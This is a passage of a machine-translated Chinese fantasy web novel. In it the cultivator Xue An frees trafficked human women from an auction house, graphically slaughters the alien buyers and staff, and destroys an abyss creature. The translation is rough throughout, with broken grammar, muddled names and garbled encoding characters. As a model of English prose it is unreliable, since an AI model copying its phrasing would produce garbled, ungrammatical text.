    "My lord, which one do you think is more pleasing to the eye? I''ll go and tell you now, otherwise, once the time is over, all the good ones will be selected!" The shop Xiaoer urged again.


    Xue An leaned back on the chair and took a deep look at the girls who were crying and dancing with humiliation faces, and said lightly: "Don''t be so troublesome, I need all of these...I want it!"


    "What?" Xiaoer Dian thought he had heard it wrong.


    "I said, I want all of these!" Xue An repeated it slowly.


    Xiao Er was dumbfounded, and looked at Xue An with a little astonishment, "But my lord..."


    "What? Is there a problem?" Xue An glanced at him.


    "There is no problem. The point is that there is no such precedent!"


    Ever since Zhanxianglou set up this show, no one has been so "arrogant".


    The Xiaoer of this famous shop was naturally surprised.


    "What do you want to precede? Anyway, I have money. Is this... enough?"


    With that said, Xue An waved his hand and there were dozens of superb spirit crystals.


    There was a look of greed in the eyes of the shop''s little Er. Although there was something wrong in his heart, the allure of these spirit crystals was too great, so he only hesitated a little, then took a step forward and said loudly.


    "The shopkeeper, this adult will buy all the women present!"


    The audience was silent.


    Including this middle-aged man, everyone was a little dumbfounded.


    Want to buy all of them?


    Who is this person? How can there be such a big tone?


    Holding these questions, countless lights converged on Xue An instantly.


    Soon, these scrutinizing eyes became disdainful.


    "Hehe, who should I have such a big tone! It turned out to be an individual!" A foreigner sneered.


    "Why? I am a little unwilling to see my own ethnic group suffering? Want to spend money to buy it all?" Someone even said sarcastically.


    Xue An ignored these people, but looked at the middle-aged man in the field.


    The middle-aged man was also a little surprised, but when he saw the slight nod from the shop Xiaoer, his heart moved, and then he changed into a smile.


    "My lord, do you really want to buy all these people?"


    Xue An leaned on the chair and looked at the middle-aged man with a calm expression, "Why? No?"


    "It''s okay, but it''s okay, but the point is that these women were caught by our Zhanxianglou with a lot of effort, and they are very valuable..."


    Before he finished his words, Xue An waved his hand casually, and hundreds of brilliance fell into the arena, astonishingly the best spirit crystals.


    You should know that the bright spirit crystals that Xue An has searched from the King of Light are more than a hundred million, so naturally he doesn''t care about such a little thing.


    "Is this enough?" Xue An asked calmly.


    There was dead silence in the audience, followed by an uproar.


    Many foreign experts stared at these top-grade spirit crystals in the field, almost staring out their eyes.


    The middle-aged man was also taken aback, but he was the treasurer of Zhanxianglou anyhow, so he quickly returned to normal, giving Xue An a meaningful look.


    "Enough! Of course it is enough!"


    "Since it''s enough, these people are mine!" Xue An said lightly.


    "of course!"


    "Well, let them all come over!"


    These women were all in despair, thinking that they would definitely die this time.


    Unexpectedly, at this moment, the situation turned around, and a young man bought all his own people very aggressively.


    And it seems that this young man is still a human race.


    This can''t help all the girls see a glimmer of hope.


    Even if you die in the hands of your own tribe, it is better than being the food in the belly of a foreign race!


    "This...Of course I am fine!" The middle-aged man said intentionally.


    But before these women came to Xue An''s side, there was a strong alien who couldn''t wait to jump out of the hall.


    "I have a question!"


    The man who was speaking was a man covered with scales, his eyes were evil and ghostly, like a poisonous snake lurking in the dark, which was daunting.


    Seeing him jumping out, the middle-aged man''s mouth showed an imperceptible sneer, then he stepped back half a step, spread his hands, and signaled that these things had nothing to do with him.


    "Oh? What''s the problem with you?" Xue An turned to look at the man.


    The man sneered, "Everyone has seen these women, so why do they all belong to you?"


    Xue An shrugged, "Here, you can see it too, but I paid for it!"


    "Money? Haha, this is exactly what I want to say, a human teenager, how can you have so many superb spirit crystals? Say, did you stole this from where? Don''t recruit it from reality, otherwise... kill nothing amnesty!"


    When he said this, the man''s eyes were full of greed and evil spirits.


    Obviously, it is because Xue An''s momentum is mediocre and intends to squeeze money out of this way.


    Xue An laughed, "You said I stole these spirit crystals?"


    "Of course! Otherwise, how come you have so many spirit crystals? If you hand them over, I might spare you not to die!"


    Before the words fell, Xue An''s eyes suddenly showed a cold light.


    Immediately afterwards, I saw a blade of sword light slashing past like a glimpse of a fright.


    puff!


    All this happened extremely fast.


    Almost at the moment when everyone hadn''t reacted, the sword light came out from behind the man, bringing out drops of blood.


    The man stared at Xue An blankly, and it was a long time before he saw a blood line appearing from the man''s eyebrows, and it quickly extended downward.


    Suddenly, I heard a crisp sound.


    Then the man was cut in half from it.


    The blood mingled with broken organs fell down, stunned everyone in the audience.


    Xue Anhao fiddled with his fingers in his spare time and smiled faintly, "Sorry, what I hate the most is being threatened!"


    The audience was quiet for a moment, and then there was an uproar.


    Some strong men who had friendship with the dead men roared.


    "Where is the kid dare to be so arrogant!"


    "kill him!"


    In the sound of the killing, the middle-aged man took a step back without moving a look, and looked at Xue An with sarcasm, thinking that he was probably not good enough now.


    Because what he just did was too arrogant, and he actually violently killed people. Wouldn''t this arouse public anger?


    But just before these clamours have subsided.


    Seeing Xue An''s fingers waving one after another like playing a piano, and then seeing the sword light flying straight out.


    Puff puff!


    In the midst of a muffled sound, these men who had just uttered madness were cut in half instantly.


    Blood splattered into the sky.


    Xue An sat on the chair, looked around, his words were as cold as ice, "Now... any of you have opinions?"

 Chapter 1630： What do you keep

    ������!


    The dead corpses fell to the ground one after another, and a strong smell of blood filled the audience.


    Everyone was stunned by this scene.


    The middle-aged man''s eyes widened instantly, and then he took a deep look at Xue An.


    He didn''t expect that this delicate and weak young man would be so cruel in his shots.


    With just one move, dozens of foreign experts died on the spot.


    "It seems that everyone has no opinion! Come here!" Xue An said lightly.


    These girls reacted first and rushed towards Xue An.


    But at this moment, the middle-aged man shouted coldly: "Hold on!"


    Huh!


    These servants stepped forward and blocked the way.


    Then I saw the middle-aged man walked into the field apart from the crowd.


    "What? Do you have an opinion?" Xue An asked coldly with his eyes flashing.


    "Hehe, I can''t talk about opinions! It''s just..." the middle-aged man said at Xue Anpi with a smile.


    "Your Excellency is so cruel, have you ever thought about the consequences?"


    "Consequence?" Xue An smiled slightly, "I paid the money, and the person who blocked it died also. Now what are you talking about with me?"


    The middle-aged man''s complexion gradually became cold, his eyes flashed with dangerous light.


    According to common sense, Xue An is right.


    After all, people paid all the money, and these women naturally belonged to him!


    But now that so many familiar strangers have died, if Zhanxianglou doesn''t stand up and show his attitude, then how will this business be done in the future?


    Therefore, he sneered: "Your Excellency is good, but we have always convinced people in Zhanxianglou. Just because of a few words, you have killed so much. You have to give an explanation!"


    "Yes! Give me an explanation!" Seeing that even Zhanxianglou was in the early stage, the crowd started to squeeze.


    Under the "group sentiment indignation", Xue An glanced at the middle-aged man with a smile, "What? Okay, then I''ll give you an explanation!"


    As he said, Xue An stood up, raised his hand to the group of girls, and said with cold face: "Think of the human women as pigs and dogs, wantonly tortured, and even sold as food by you. This is what you said. Persuade people?"


    The middle-aged man''s complexion changed, "You..."


    Xue An did not give him the opportunity to continue talking, "I paid for it, but I was unreasonably interrupted by these powerful aliens. You didn''t say a word at the time, but when I killed them all, you asked me instead. I''m going to talk about it, why is your face so big?"


    As soon as these words came out, all the complexions of Zhan Xianglou changed.


    The middle-aged man was even more furious, "Where did the kid come from, dare to say such crazy words and kill him for me!"


    In this rank, the real strength is the strong from the alien race, and the human race is in a very weak position.


    This is also why Zhanxianglou dared to sell human girls so blatantly.


    And if you want to be able to sit securely as the shopkeeper yourself, you must ingratiate yourself with these foreign powerhouses.


    That''s why this middle-aged man would not hesitate to tear his face and leave Xue An behind.


    With an order, the many servants rushed up with their weapons.


    When the onlookers saw this, all of them were gloating.


    But their pride lasted less than a second, but seeing Xue An coldly smiled, he took a step forward.


    With one step, the whole building trembles.


    The servants who rushed to the forefront didn''t even have time to scream, they were directly trampled on by this foot.


    The blood mingled with flesh and blood.


    Everyone''s pupils shrank.


    The middle-aged man even screamed, and then stepped back.


    But Xue An had already made up his mind that everyone involved in the trafficking of human women had to die.


    So before he rushed to the door, Xue An took another step.


    Bang!


    This step is even stronger.


    All the servants didn''t even hum, starting from their heads, they were directly compressed in layers.


    The sound of bursting bones spread throughout the hall, and the middle-aged man''s heart trembled, but he didn''t even dare to turn his head back, and the speed of his escape could not help speeding up a bit.


    Seeing getting closer and closer to the door, a smug smile appeared on the corner of the middle-aged man''s mouth.


    As long as he can leave this hall, he is sure to escape.


    But when he was only three steps away from the door, a light sigh came from behind his head.


    The sound made his hairs stand up.


    Then he frantically urged his whole body''s cultivation base, and then blasted a note.


    Being able to serve as a shopkeeper in such a large restaurant, the strength of this middle-aged man is naturally impressive.


    Coupled with this attack for survival, the power is naturally even more amazing.


    When caught off guard, even the stronger ones at a higher level have to be hit.


    But never expected that the blow that was inevitable would have been missed.


    not good!


    The middle-aged man screamed in his heart, and then tried to escape.


    But everything is too late.


    At this moment, a palm that looked like a sapphire carve appeared on top of his head out of thin air.


    "Running so fast, do you want to go out to report?" Xue An said lightly.


    The middle-aged man was stiff and he dared not even move.


    Because at this moment, the palm of his hand has been pressed on his forehead, and the middle-aged man can even feel the warmth from this palm.


    But it was this kind of warmth that made him fall into an ice cellar.


    He understood that he would definitely be destroyed by this palm.


    So there was a flattering smile on his face, "My lord, everything is a misunderstanding, I just want to go out!"


    "Oh? So you are not going to report it?"


    "When... Of course not!"


    Unexpectedly, Xue An shook his head, "That really disappointed me! I didn''t even dare to report, so what use do you keep?"


    As he said, Xue An spit out his palm and wanted to shoot down.


    "No...!" Feeling that he was about to die, the middle-aged man couldn''t help screaming.


    At this moment, a woman''s tender drink came from the back of the hall.


    "Who would dare to come to my Zhanxianglou to make trouble?"


    Upon hearing this voice, the face of the middle-aged man showed ecstasyMrs. Help! "


    At the same time, a petite figure had appeared outside the door, and it was about to rush into the hall at an extremely fast speed.


    But it was still a step too late.


    Seeing that Xue An''s face was as cold as ice, he ignored these shouts and slapped his palms down.


    puff!


    After a muffled sound, the middle-aged man''s head burst open first, followed by his body.


    Accompanied by a burst of crackling fractures, the middle-aged man''s upper body was quickly compressed, and finally turned into a pool of mud.


    "Do not����."


    With this angry shout, this figure finally rushed into the hall.


    After the establishment, she was a woman who was no more than 1.5 meters tall, but with a charming figure and a charming and attractive appearance.

 Chapter 1631： 3 rules of the fox

    After seeing this woman, many foreign experts in the hall stood up and bowed their hands in salute.


    "I have seen the Seventh Lady!"


    That''s right!


    The woman who came is the owner of Zhanxianglou, known as the Seventh Lady.


    At this moment, the Seventh Lady looked frosty, first lowered her head and glanced at the **** mud on the ground, a biting chill burst into her eyes, and then slowly raised her head, staring at Xue An.


    "You did it all?"


    After the Seventh Lady rushed into the hall, Xue An was watching her.


    After hearing her question, Xue An couldn''t help nodding meaningfully.


    "Yeah! Didn''t you see everything just now?"


    The Seventh Lady''s eyes were full of anger, "Very good! Sure enough, I am bold enough to come to my Zhanxianglou to be wild, do you know where this is?"


    Xue An''s voice was indifferent, and said slowly: "Where?"


    "Hehe, I can only say that you are dead! No matter your background, whoever is behind, you are dead!" The Seventh Lady said bitterly hateful.


    Xue An laughed when he heard the words, "Is it such a big tone?"


    "It''s not that I have a big tone, but it is the truth! Because you will never understand what kind of existence you have provoke!" The Seventh Lady said condescendingly, her eyes full of cruel joking.


    And the many foreign experts in the field couldn''t help but change their expressions.


    Because they all thought of a rumor.


    A rumor about the backstage of Zhanxianglou.


    This can''t help but frighten them all.


    Unexpectedly, Xue An laughed loudly after listening.


    "What did you provoke? A fox demon actually dared to talk to me in this tone!"


    Upon hearing this, Mrs. Seven''s eyes moved, and then she snorted, "The eyesight is good, you can see who I am, but you still have to die! If you are acquainted, and now behave yourself, I might still be merciful. Keep your soul, otherwise, don''t blame me for being polite!"


    Xue An��s smile became colder, and suddenly he said: ��I��m really surprised that since you are a fox clan, you still dare to sell human women and do this kind of conscience. Are you not afraid of the three laws of the fox clan? ?"


    If the Seventh Lady had always looked frosty before, thinking that she was superior.


    Then after Xue An said these words, she was shocked by it, and then looked at Xue An with a wild change.


    "Who are you? How can you know the three laws of our fox clan?"


    No wonder the Seventh Lady has changed so much.


    Because what Xue An is telling is a secret within the fox family, and outsiders have no idea.


    Xue An chuckled, but did not answer her question head-on. Instead, she asked: "Do you know why I didn''t kill you?"


    "Because cleaning up your fox scum, it is natural for your fox people to do it!"


    What do you mean?


    The Seventh Lady was taken aback.


    At this moment, Xue An raised his hand a little eyebrow and said lightly: "Ying''er, come out!"


    With the voice, I saw a light and shadow flying out from the center of the eyebrows, and when it fell on the field, it had turned into a stunning girl.


    As soon as this stunning woman appeared in the field, many foreign experts, especially those from the monster race, began to tremble.


    Because they felt a powerful pressure from the bloodline level.


    As for the Seventh Lady, her complexion changed wildly, and there was infinite panic and fear in her eyes.


    Hu Ying already knew what was happening outside in the Fu Bao Xiaolou, so she appeared behind the court.


    She saw layers of murderous intent on her pretty face, staring at the Seventh Lady like a knife.


    "Can you be guilty?"


    thump!


    The total suppression from the bloodline made her plop and fell to her knees, knocking her head like garlic, shaking her whole body, and tremblingly said: "Little demon... Little demon convicts!"


    Hu Ying snorted from her nostrils, "Convict? Well, let''s talk about what you have sinned first!"


    "This..." Madame Seven suddenly hesitated, her eyes flowed in a pair of fox eyes, as if thinking about something.


    Hu Ying sneered, "It seems that you still have a fluke mentality! Then I ask you, do you know the three rules of the Fox family?"


    "Little...Little demon knows!" The Seventh Lady said in a quiet voice.


    "Come to me!"


    The Seventh Madame was silent for a moment, and then said tremblingly: "The first...Article, do not harm the human race! The second article, do not participate in alien disputes! Article 3, if the second article conflicts with the first article, then stand on the human race Here!"


    "Very good! It seems that you don''t know anything!" Hu Ying said with a sneer.


    These three Fox Clan rules are specifically derived from when it is no longer possible to verify. There are rumors that this is an agreement between the ancient human saints and the fox ancestors.


    As long as the people of the fox tribe must abide by these three rules.


    If there is a violation, then anyone of the fox clan can take punishment.


    What''s more, Huying was born in the orthodox Qingqiu fox country of the fox tribe. Her bloodline is extremely pure and her status is indescribable. She naturally has a strong deterrent to the little demon, who has mixed bloodlines like the Seven Madames and at the same time troubles the human race.


    The Seventh Lady''s face was almost transparent, "My lord... please forgive me, I''m just confused for a while, I won''t dare anymore!"


    She understands how serious the consequences of this incident are.


    But in the past, she always had luck, thinking that in the paradise lost in this chaotic rule, no one would know even if she violated the rules of heaven.


    Even if they know it, some people will support themselves.


    This is why she is so unscrupulous.


    But I never expected that I would actually meet an adult from Qingqiu Fox Country today!


    Such existence can be said to be the royal family of the entire fox family.


    She didn''t even dare to resist, she could only ask for mercy.


    "Haha, don''t dare anymore? Breaking the agreement between the human and fox clan, do you think you will have a future? Suicide! This is the last decent I will give you!" Hu Ying said coldly.


    There was a look of despair in the eyes of the Seventh Lady, trying to beg for mercy, but seeing the decisive expression on Hu Ying''s face, she could only lower her head silently.


    "Thank you, sir!"


    With that, she raised her hand and patted her foreheadPuff!


    After a muffled sound, her head was beaten to pieces by herself, and her body fell to the ground.


    The whole action is simply and neat, which also shows the deterrent power of Hu Ying.


    But Hu Ying didn''t mean to stop here.


    A fox tail suddenly appeared behind her, sweeping in the void.


    "what!"


    Accompanied by a rapid and desperate scream, a thin figure hidden in the void suddenly shattered.


    Hu Ying constricted her tail and said coldly, "I dare to do these little moves in front of me? Do you really think I can''t tell when I am young?"


    Having said that, she looked at the pale-faced powerful aliens in the hall, and asked in a deep voice: "Brother Xue, what do these guys do?"

 Chapter 1632： Wait for the rabbit

    Where...disposal?


    This word made all the powerful aliens feel a bitter cold from the bottom of their hearts, just like what they had done to human women before, except that the roles were changed this time.


    Xue An said lightly: "What do you mean?"


    "According to me, these guys are not good things, kill them all!" Hu Ying said murderously.


    Xue An smiled, raised his hand and patted Huying''s head, "Why is a little girl''s murderous so serious?"


    Hu Ying groaned, "Oh... Brother Xue!"


    Listening to the two of them talking about their own life and death issues so unscrupulously, these foreign powerhouses are naturally very angry.


    But no one wanted to grow branches at this time, so they all pretended to have not heard them, and retreated silently.


    At this moment, the smile on Xue An''s face gradually converged, "But what you said is correct. Anyway, these guys are not good things. Killing directly will save trouble!"


    When the words fell, the few foreign experts who were about to withdraw from the Zhanxiang Tower felt that the situation was not good, and they rushed out without hesitation.


    But since Xue An wants them to die, no one can save them!


    Xue An''s hand suddenly showed an extremely bright brilliance, as if holding a sun in his hand, and then it exploded.


    Countless rays of light burst out, and every ray of light is a sword piercing the darkness, sweeping across the entire Zhan Xiang Lou with a violent posture.


    No one can escape the light, so at almost the same moment, countless fine wounds appeared on the bodies of these powerful aliens.


    The blood rushed out, dyeing the whole body red and cutting off their vitality.


    Bang bang bang!


    With the sound of falling to the ground one after another, these alien powerhouses began to fall one by one.


    The one who ran the farthest was only able to touch the threshold of Zhanxiang Tower, but just such a step away, it turned into a moat at this moment.


    These powerful aliens fell to the ground with horror and unwillingness.


    In an instant, Xue An and his party and these human girls were left in the audience.


    These Terran girls have been scared silly at the moment.


    I thought I was going to die, but I didn''t expect the situation to turn around and that people like myself would be saved.


    On the contrary, these guys who caught him are all dead.


    How can this not make them shocked.


    But soon, they regained their sobriety, and then they rushed towards Xue An.


    "Thanks for your help!"


    "Thank you sir for your life-saving grace!"


    Xue An nodded slightly, "How did you get caught here?"


    The girls looked at each other, and then they smiled bitterly and said: "Back to the adults, we don''t know how we were caught here, but we only came here after a very long transit!"


    Xue An nodded silently after hearing this.


    The situation is similar to what he imagined.


    It is difficult to find these weak human women in Paradise Lost.


    Because in this world, only the strong can survive.


    So they are probably caught from the outside world.


    In this way, how to arrange them has become a thorny problem before us.


    If left alone in this way, then the most likely thing is that Xue An''s front foot will leave them behind and they will once again become prisoners of others.


    These women naturally thought of this too, and they all looked at Xue An tremblingly with hopeful eyes.


    But no one dared to speak, for fear of disturbing Xue An, who was looking down and meditating.


    After a while, Xue An raised his head and smiled slightly.


    "Well, since this is the case, let''s just wait at this place first!"


    "Waiting here?" Hu Ying asked in surprise.


    "Yeah! Rather than rushing to the eighth layer of the city for thousands of miles, it is better to wait here for people to come over! After all... some people should not be able to sit still at this moment!" Xue An smiled very happily.


    These women naturally had no objections.


    So this matter is so settled.


    The corpse in the hall was burned by Xue An casually.


    These women began to clean up the mess all over the ground.


    quickly.


    Everything is restored as before.


    Then Xue An moved a chair and sat in front of the hall door, and said lightly; "Go down and rest first!"


    These women were already exhausted, but after hearing what Xue An said, none of them stepped back. Instead, they all stood there quietly.


    Xue An glanced at them and smiled slightly, "Okay, I am enough here! There may be a battle later, but it is not harmful, so you should go and rest!"


    Hearing Xue An''s words, these women hesitated and finally retreated.


    Luolan Pavilion also wanted to wait here, Xue An ordered: "Go back and watch them!"


    "Yes!"


    After Luo Lanting also left, Xue An and Hu Ying were the only ones left in the huge hall.


    Hu Ying was quite excited and said, "Brother Xue, who will come soon? Is this the little fox demon backstage?"


    "Are you curious?"


    "Of course I''m curious!" Hu Ying nodded her head.


    "If you are curious, then go back to the Fubao Xiaolou and wait for it!"


    "Huh?" Hu Ying was dumbfounded, and then shook her head very resolutely: "Brother Xue, I don''t want to go back! I want to stay here to help you beat the bad guys!"


    "Stay here to help me beat bad guys?" Xue An chuckled lightly, "You are not here to help me the most!"


    With that said, without waiting for Hu Ying to resist, Xue An thought about it, and directly captured Hu Ying back into the Fu Bao Xiaolou.


    After doing all this, Xue An leaned back on the chair in his spare time and waited quietly.


    A quarter of an hour, two quarters of an hour.......


    Until an hour later.


    Just heard a roar coming from far away.


    "Who is it? Who dares to do something to my people?"


    The shout was shaking.


    The originally lively streets were immediately taken down, and people dispersed without hesitation.


    In an instant.


    The streets became deserted.


    Here I want to say that when Zhanxianglou was "testing dishes" before, it closed the store door and opened the defensive circle.


    So what happened inside is completely unknown to the outside world.


    Xue An, who was sitting on the chair, heard the roar from outside, and Guanghua flashed in his eyes, and a cold smile appeared.


    "It''s a bit slower than I expected!"


    As soon as the voice fell , I saw countless dark clouds coming from the distant sky, covering the sky and the sun, concealing the sun and the moon, making the otherwise bright weather extremely dark.


    Immediately afterwards, the black cloud turned unsteadily, and gradually condensed into a huge face with all beard and hair on the sky, and then roared below.


    "Who? Who killed Xiao Qi!"


    The whole city trembles under such violent prestige.


    Xue An didn''t even get up, but still sat on the chair, and said indifferently: "What are you doing so loudly? I killed the people, what are you doing?"


    The aura in the black cloud condensed in an instant, and then blasted open the defensive circle of Zhan Xianglou like a ruin.


    A shadow gradually emerged in the hall, staring at Xue An coldly.


    "who are you?"

 Chapter 1633： Contaminated Abyssal Monster

    In the backyard of Zhanxianglou, Luo Lanting had just settled these girls, and then he heard a loud and deafening noise coming from the front.


    When she walked to the courtyard and looked up, she saw Zhanxiang Tower, which was still intact, and it no longer existed at this moment.


    Yes!


    Such a large building disappeared like this, and there was only a large pit with green smoke floating in the same place.


    Luo Lanting''s eyes gradually widened, looking at the scene in shock with a face full of shock, completely unaware of what happened just now.


    In fact, not only her, but the entire city was shaken by the loud noise at this moment.


    Big...what''s your lord now?


    Luo Lanting suddenly thought of this question, and then ran to Dakeng like crazy.


    When I came to the edge, there was nothing left except this bottomless pit.


    Luo Lanting''s breathing became hurried, his eyelids beating frantically.


    Could it be that something happened to the adult?


    If not, why is there no trace?


    At this moment, suddenly there was another loud noise in the sky.


    Luo Lanting looked up, then was stunned.


    But in the sky, two figures, white and black, were chasing quickly, banging against each other from time to time.


    Every blow made the whole world tremble.


    Luo Lanting couldn''t see which Xue An was at all, and could only stare blankly.


    Suddenly.


    The two figures suddenly stopped, and separated on both sides of the sky.


    It wasn''t until this time that Luo Lanting could see clearly that the white one was Xue An, and the black one was surrounded by shadows and could not see clearly.


    Although they are far apart, Luolan Pavilion can still feel the solemn atmosphere.


    And she noticed that the black shadow at the moment was trembling slightly, like a person gasping after strenuous exercise.


    at the same time.


    Seeing that the shadow said in a composure tone: "My friend, since no one can do anything between you and me, how about we just expose it?"


    Xue An smiled faintly, and said in a leisurely manner: "Is it exposed?"


    "That''s right! Xiao Qi''s death was her own responsibility. I will not pursue it anymore, and you will take a step back. What do you think?"


    "It sounds reasonable, but didn''t you just ask who I am aggressively? Why don''t you want to know all of a sudden?" Xue An asked slowly.


    The shadows cried secretly.


    If he knew that this white-clothed boy would be so powerful, he wouldn''t come here without permission if he was killed.


    That fox demon is indeed a concubine he favors very much, but no matter how much he favors, his life is not as important!


    Xue An almost wiped out his fascination with just one punch, and even just the aftermath completely evaporated the entire building into nothingness.


    If it weren''t for running fast by yourself, then you would have to peel off if you didn''t die at this moment!


    Desperately for a woman, he is not so stupid.


    That''s why he can''t wait to negotiate a peace.


    "We must have misunderstood before. As for your identity, I am not curious anymore!"


    This is already the greatest degree of softness in the shadows.


    I thought that the white boy in front of me would give some face.


    But never expected that Xue An just sneered after listening.


    "Play as you like, stop as you like, why are you so savage? Today I have to let you know who I am!"


    With that, Xue An slowly took a breath, as if a gust of wind blew above the sky.


    The shadow trembled for a while, and an angry voice came from it, "Forgive others and forgive others, I have already made concessions like this, why do you have to fight hard?"


    A cold smile appeared at the corner of Xue An''s mouth. He did not answer, but slowly raised his fist, and then blasted a punch.


    Xue An at this time, although not as good as the peak of his previous life, his understanding of boxing skills can be said to be unmatched.


    There is no wind, no dazzling momentum.


    It was such an unpretentious punch that caused a scream in the shadows, and he didn''t even dare to resist, he turned and fled.


    Because he can clearly feel that if he takes this punch forcibly, he will definitely ruin his body.


    So he will run away without hesitation.


    But at this time the world was already shrouded by the air of this punch, and no matter where he fled, he was already locked firmly.


    In desperation, he had to stop his figure and bite the bullet to meet the punch.


    This shadow is a genuine Immortal King cultivation base, although it is lacking in some places, it is not up to the first-class level of the heavens.


    If the analogy is forced, then the immortal king with complete laws of luck and prosperity like the fox night can be called super-class.


    The slightly worse ones can be called first-rate, and the shadows can reach above the third-rate and less than the second-rate.


    But the fairy king is the fairy king, even if it is not first-rate, it is strong enough.


    So when he responded with all his strength, countless secret methods crazily superimposed in front of him, trying to block Xue An''s punch.


    But everything seems so fragile in the face of absolute power.


    Click!


    After a sharp and extremely loud noise, no matter what the secret technique was, it shattered at the same time.


    Then Xue An''s punch went straight into the shadows.


    puff!


    With a muffled noise, the shadow trembled suddenly, and then Xue An shouted coldly.


    "Give me...come out!"


    Boom!


    The shadow shattered directly.


    Xue An pinched something by the neck and lifted it out.


    This is a very strange creature with a human torso, but it has many tentacles around it, and the tentacles are all eyes.


    At first glance, it was like the most terrifying nightmare, which made the scalp numb.


    now.


    The tentacles of this creature waved around Xue An''s arm, trying to crush it.


    But as soon as they came into contact, the mighty power directly obliterated these tentacles.


    The creature couldn''t eat pain, and finally let out a scream, and then gradually converged, revealing the figure of a man with a gloomy face.


    Xue An pinched his neck and smiled slightly, "Octopus monster contaminated by demon blood?"


    After Xue An explained the origins, the shady bird on the man''s face disappeared instantly, and he looked at Xue An with horror.


    "you����."


    Xue An sighed lightly, and then continued: "First the Abyss Demon Dragon, then the Abyss Demon, and then another monster like you. It seems that this Paradise Lost has been contaminated by you abyss creatures!"


    The fear on the man''s face gradually subsided, his whole body gradually turned dark, and he sneered.


    "I have to admit that your eyesight and strength are among the best human beings I have ever seen! But so what? Since you know the abyss, you should also know that if you offend our abyss monster, it will be What a consequence!"


    At the end, the man''s tone was full of triumph, and he didn''t even scrupulously pinch his hand by Xue An.


    Here is a brief introduction. Even in the heavens, the abyss is a place full of strange things and unknowns.

 Chapter 1634： Human race will decline, alien race will rise?

    In that almost infinite space, there are countless strange and unspeakable powerful creatures.


    Some are recorded in the heavens, but more are ignorant.


    There are slugs that are useless, even ordinary people can''t hurt them, and there are ancient evil gods that are powerful enough to be comparable to the fairy king and even the fairy emperor.


    Under this circumstance, even the strong immortal king of the separatist side is unwilling to provoke these abyss creatures.


    Because no one knows what the consequences will be.


    If you don''t die if you hit a snake, don''t you just get hurt?


    But in the face of this man''s threat, Xue An just smiled coldly, "Are you threatening me?"


    "Jie Jie, the strong human race, this is not a threat, but a good word! After all, although your strength is great, now the human race has shown a trend of decline, and the next world will be our foreign race, so I advise You''d better do it yourself! Otherwise, the methods of our abyss creatures are endless, and there are some you can''t even imagine!"


    As the man said, there are many existences in the abyss creatures that are difficult to explain with common sense. They have extremely strange abilities.


    For example, spell killing in the air, such as seizing luck against the sky!


    These abilities are also one of the reasons why many powerful people are so afraid of the abyss.


    But Xue An laughed when he heard the words, "Oh? Human race will decline and alien race will rise? Who told you this?"


    "There is no need to tell, this is the general trend of the world, after all, your human race has been prosperous for several catastrophes, and it is our turn next!" The man sneered.


    "What''s your name?" Xue An suddenly asked irrelevant words.


    "My name is Sha!"


    Xue An nodded, and suddenly said: "This is not your real name, right!"


    Abyssal creatures are similar to monsters or demons, and they all have their real names.


    Sneered, "Of course not!"


    "No, it doesn''t matter!" Xue An smiled faintly, "I can tell you now that the human race will never decline. As for you monsters and alien races who shouldn''t appear in the world, don''t want to dominate the heavens!"


    Sha rolled his eyes and sneered: "Do you think this is what you have the final say?"


    "Of course!" Xue An''s eyes were calm, "because as long as I am here, you will never be allowed to be rampant among you alien races!"


    He laughed hard, "Your joke is really funny!"


    As far as these monsters are concerned, although they have repeatedly tolerated and escaped at first, once they have to face them, they will lose their fear without hesitation.


    And this Sha has his own plan.


    Although this young man in white clothes was shocking with his boxing skills, he didn''t necessarily treat himself with this punch.


    Even if this body is broken, with the help of the devil''s blood, he can be reborn in the abyss.


    With this idea, this Sha will be so arrogant.


    But soon, he couldn''t laugh.


    Because Xue An looked at him coldly, and suddenly uttered a large section of extremely confusing and obscure language.


    Hearing these words, this Sha was almost as if struck by lightning, hissing exclaimed: "How is it possible! How can you know my real name?"


    Xue An said lightly: "Is it difficult?"


    "What on earth do you want to do?" Sha finally panicked this time.


    Because once his real name is leaked, it means that most of his life and death have been pinched in his hands.


    Xue An smiled, and the brilliance flashed in his eyes, and the huge spiritual thought instantly shielded the surroundings.


    Then he said lightly: "If I''m not mistaken, are the second-tier world masters like you, the same creatures of the abyss?"


    Said sternly, "So what?"


    "Very good! In that case, I will borrow your body for a use!"


    After that, a dangerous light flashed in Xue An''s eyes.


    "What are you going to do?" exclaimed, "Even if you know my real name, I can''t kill you! Don''t waste your time!"


    "Can''t kill? Haha!" Xue An sneered, and a swaying red lotus suddenly appeared in front of him.


    After seeing this red lotus, Sha almost stared out his eyes, and muttered almost absent-mindedly: "This... how is this possible!"


    Immediately afterwards, there was infinite horror in his eyes, just about to say something.


    Xue An said coldly: "Go, your true name will fall, and your body will stay here!"


    After the words fell, the red lotus karma fire disappeared directly into the void, and then obliterated Sha''s real name on a mysterious level.


    "My lord, forgive me, I am willing to serve you as my Lord, don''t kill me!"


    This time I was really scared.


    Because once his real name is destroyed, then he will completely perish, and even a trace of divine thought will not be left behind.


    But Xue An didn''t even lift his eyelids, just watched quietly.


    Soon, Sha''s eyes dimmed at a speed visible to the naked eye.


    Until his eyes completely lost their luster and became extremely hollow.


    Xue An just took a deep breath, closed his eyes, and saw Sha''s body melted into Xue An''s body like water.


    In an instant, Xue An turned into a shameful appearance.


    When he suddenly opened his eyes, a strange aura swept across the world.


    It also directly broke open the spiritual blockade left by Xue An.


    Luo Lan Ting was waiting anxiously outside, she didn''t know why the lord had suddenly blocked the world.


    Now that I can''t see the situation inside, Luo Lanting is naturally full of entanglement and worry.


    So when the divine consciousness blockade suddenly broke open, Luo Lanting was happy, and he just stepped forward and just wanted to say something, and then he was stupid in place.


    Because where is the adult who is standing in the void, it is clearly a man with a strange manner!


    As Luo Lanting was struck by lightning, a thought suddenly flashed through her mind.


    Could it be that the adults have lost?


    Do not!


    This is impossible!


    The adults will not be defeated!


    But the scene before her made her unable to explain at all.


    at the same time.


    The man in the void glanced at the city under his feet, and then stepped into the only remaining backyard of the Zhanxiang Tower.


    Luo Lanting''s body was shocked, and the extremely evil flowers bloomed around him immediately, and he looked at the man in front of him with a guard.


    "Who are you? Your lord?"


    Xue An was funny in his heart but didn''t intend to tease the little girl anymore, so his body fluctuated and showed his true colors.


    Luo Lanting looked at Xue An dumbfounded, "Big...sir?"


    "What? Don''t even know me?" Xue An said with a smile.


    Luo Lanting looked happy, and just about to come forward to see him, suddenly he thought of something, and his face reappeared with a look of caution.


    "How do I know if you are pretending to be that guy?"


    You must know that the methods of these powerful men are endless. If it is Xue An who is pretending to be other evil things, then isn''t he fooled?


    Xue An was not angry, but nodded approvingly, "You are right, but you think..."


